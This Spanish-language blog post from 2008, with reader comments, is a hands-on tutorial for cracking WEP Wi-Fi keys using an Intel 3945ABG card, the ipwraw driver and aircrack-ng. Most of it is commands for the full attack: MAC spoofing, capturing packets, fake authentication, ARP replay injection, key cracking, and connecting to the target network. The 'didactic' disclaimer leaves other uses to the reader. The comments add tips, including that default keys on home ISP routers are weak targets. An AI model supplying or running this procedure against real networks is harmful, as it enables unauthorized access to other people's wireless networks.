Aircrack con Intel PRO/Wireless 3945
Software Libre
Esta es una guía para poder encontrar las contraseñas WEP con una tarjeta Intel PRO/Wireless 3945ABG (IPW 3945). Es la misma que puse en mi página.
Como pequeño preámbulo a esta guía, quisiera agregar que al principio no sabía que con los drivers normales de la tarjeta no se podía hacer la inyección de paquetes y activar el modo monitor. Lo cual hace que cualquier intento de usar programas para obtener la contraseña WEP fuera inútil. Pero hasta encontrar esta guía (que sirve de base para esta), pude hacer que funcionara.
Nota importante: Esta guía es con fines puramente didácticos y de investigación, el uso para cualquier otro fin queda a consideración del lector.
Instalandor driver iwlwifi
Para empezar es necesario haber instalado el driver de la tarjeta IPW3945, el cuál en los nuevos paquetes ya no es necesario instalar el driver ipw3945. Ahora únicamente bastaría con lo siguiente:
# aptitude install firmware-iwlwifi
De esa forma ya tendremos funcionando la inalámbrica, pero como expliqué antes con este driver no se pueden realizar ninguna de las acciones necesarias para nuestro objetivo.
Descargando e instalando driver ipwraw
Para buscar el driver más actual puede visitar esta página. En este caso utilizaremos el 2.3.4-04022008.
$ wget http://dl.aircrack-ng.org/drivers/ipwraw-ng-2.3.4-04022008.tar.bz2
// Descargamos el driver
$ tar -xjf ipwraw-ng*
// Descomprimimos
$ cd ipwraw-ng
// Accedemos al directorio
$ make
// Compilamos
# make install
# make install_ucode
// Instalamos el driver(Notar que esto se debe realizar como superusuario)
# echo "blacklist ipwraw" | tee /etc/modprobe.d/ipwraw
// Agregamos el ipwraw a la lista negra para que no se cargue al bootear, ya que
// eso haría fallar las conexiones normales
# depmod -ae
// Se genera la lista de dependencias entre módulos
Esta instalación no se tiene que hacer cada vez que se desee buscar contraseñas WEP.
Empezamos a trabajar...
Ya con esto lo que tenemos que hacer es primero desactivar el driver normal, y activar el ipwraw.
# modprobe -r iwl3945
# modprobe ipwraw
Configuración para capturar paquetes
Cambiamos dirección MAC
Primero tendremos que cambiar la dirección MAC. (Este paso no es absolutamente necesario, pero podría ser útil)
# airmon-ng stop wifi0
// Detenemos el modo monitor de la tarjeta (que se activa con el nuevo driver)
# macchanger --mac 00:11:22:33:44:55 wifi0
// Cambiamos la dirección MAC
#airmon-ng start wifi0
// Reiniciamos el modo monitor
Buscamos los puntos de acceso disponibles
Para empezar tenemos que escanear todas los puntos de acceso disponibles y tenemos que sacar la siguiente información: BSSID, ESSID y el Canal en el que está trabajando.
# airodump-ng wifi0
Capturamos paquetes
Una vez elegido el punto de acceso del que queremos obtener la contraseña, hacemos lo siguiente:
# airodump-ng -c [canal] -w [nombredelarchivo] --bssid [bssid] wifi0
// Todas las capturas se guardan en un archivo.
Inyectamos paquetes
Desde otra consola podemos generar paquetes falsos para acelerar la captura.
# aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:55 -e [essid] wifi0
// Autenticamos a nuestra tarjeta con el punto de acceso
# aireplay-ng -3 -b [bssid] -h 00:11:22:33:44:55 wifi0
// Empezamos a generar los paquetes
Desciframos la contraseña
Después de una gran cantidad de paquetes (según Vendaval, tendrían que ser entre 50,000 y 1000,000, en otra guía decía que bastaría con 20,000) podemos aplicar el aircrack para obtener la clave.
# aircrack-ng -n 128 -b [bssid] [nombredelarchivo]-01.cap
Al final de esto aparecerá un mensaje mostrándote la contraseña separada por :, VV:WW:XX:YY:ZZ. Al final la clave sería: VVWWXXYYZZ.
¡Con eso quiere decir que todo está listo!.
Para finalizar activamos el driver normal de la tarjeta nuevamente y probamos si los resultados que se obtuvieron fueron los correctos.
Corrección: Me equivoqué en esta última parte
# modprobe -r ipwraw
# modprobe iwl3945
Agregado de Starkad: Por un comentario de starkad me animé a agregar como conectarse desde consola.
# ifconfig wlan0 up
# iwlist wlan0 scanning
// Escogemos el punto de acceso
# iwconfig wlan0 essid <nombrepuntoacceso> key <laclaveencontrada>
# dhclient wlan0
// En este caso funcionará solo si está configurada la red con dhcp en otro caso tendríamos que revisar que direcciones ip están manejando y demás.
Permalink: http://www.mononeurona.org/entries/view/thot/1701
Commentblogs:¡Vaya!<br />
<br />
No creí que fuera tan difícil.<br />
<br />
Voy a buscar la manera de hacerlo con los BSDs.<br />
<br />
Suerte.
2008-12-29 09:00:05-06
Difícil?, realmente no es difícil, nada más hay que instalar el driver y cambiarlo cuando se necesite. El pedo es que la "sanitización" del editor de la mononeurona le parte la madre al formato.
2008-12-29 09:04:28-06
Antes de airodump-ng podemos verificar los AP's mas efectivos con aireplay-ng -9 <interface><br />
<br />
Con 10 000 iv's es posible obtener un cifrado de 64-bits (el que por default se usa en una instalación estandar de prodigy y cablevision caseras).<br />
<br />
En el modo PTW se llega a requerir menos cantidad de iv's.<br />
<br />
Excelente post, saludos!!!
2008-12-29 12:03:55-06
Sí, se me olvidó agregar el modo test del aireplay. Pero bueno, es la ventaja de la retroalimentación de los comentarios.
2008-12-29 12:12:05-06
Es facil evitar la satinizacion:<br />
<br />
Escribe la entrada usando el editor HTML del SeaMonkey, despues copia, pega y agrega la entrada.
2008-12-29 22:11:41-06
Excelente guía Thot!!<br />
<br />
Yo alguna vez quise escribir una para esta tarjeta, pero no lo hice :'(<br />
<br />
Quizá les interese también wesside-ng, también parte de la suite aircrack-ng<br />
<br />
http://www.aircrack-ng.org/doku.php?id=wesside-ng<br />
<br />
Saludos!
2008-12-30 00:59:11-06
Funciona y funciona muy bien.<br />
En mi caso, para volver a tener normal el funcionamiento de la tarjeta y conectarme a la red de "pruebas", le pongo lo siguiente.<br />
<br />
# modprobe ipwraw<br />
# modprobe -r iwl3945<br />
# modprobe iwl3945<br />
# ifconfig wlan0_rename up<br />
# iwlist wlan0_rename scanning<br />
<br />
Excelente guía, felicidades.<br />
<br />
<br />
2008-12-30 21:52:05-06
Estoy seguro que capturando 1,000,000 de paquetes funciona =), con kismet he notado que hay varias longitudes de clave (al menos 64 y 128 bits), supongo que variando la longitud el numero de paquetes a capturar aumenta o disminuye en la misma proporcion, felices fiestas thot.
2008-12-31 07:46:14-06
Según las FAQ de aircrack, dice que con este tipo de ataque 20000/40000 paquetes son suficientes. Cuando no hay inyección de peticiones ARP serían necesarios de 300,000 a 1,500,000.<br />
Más información (http://www.aircrack-ng.org/doku.php?id=faq)<br />
<br />
Igualmente vendaval.<br />
<br />
(Cierto se me olvidó agregar la forma de conectarse, gracias Starkad).
2008-12-31 08:30:02-06










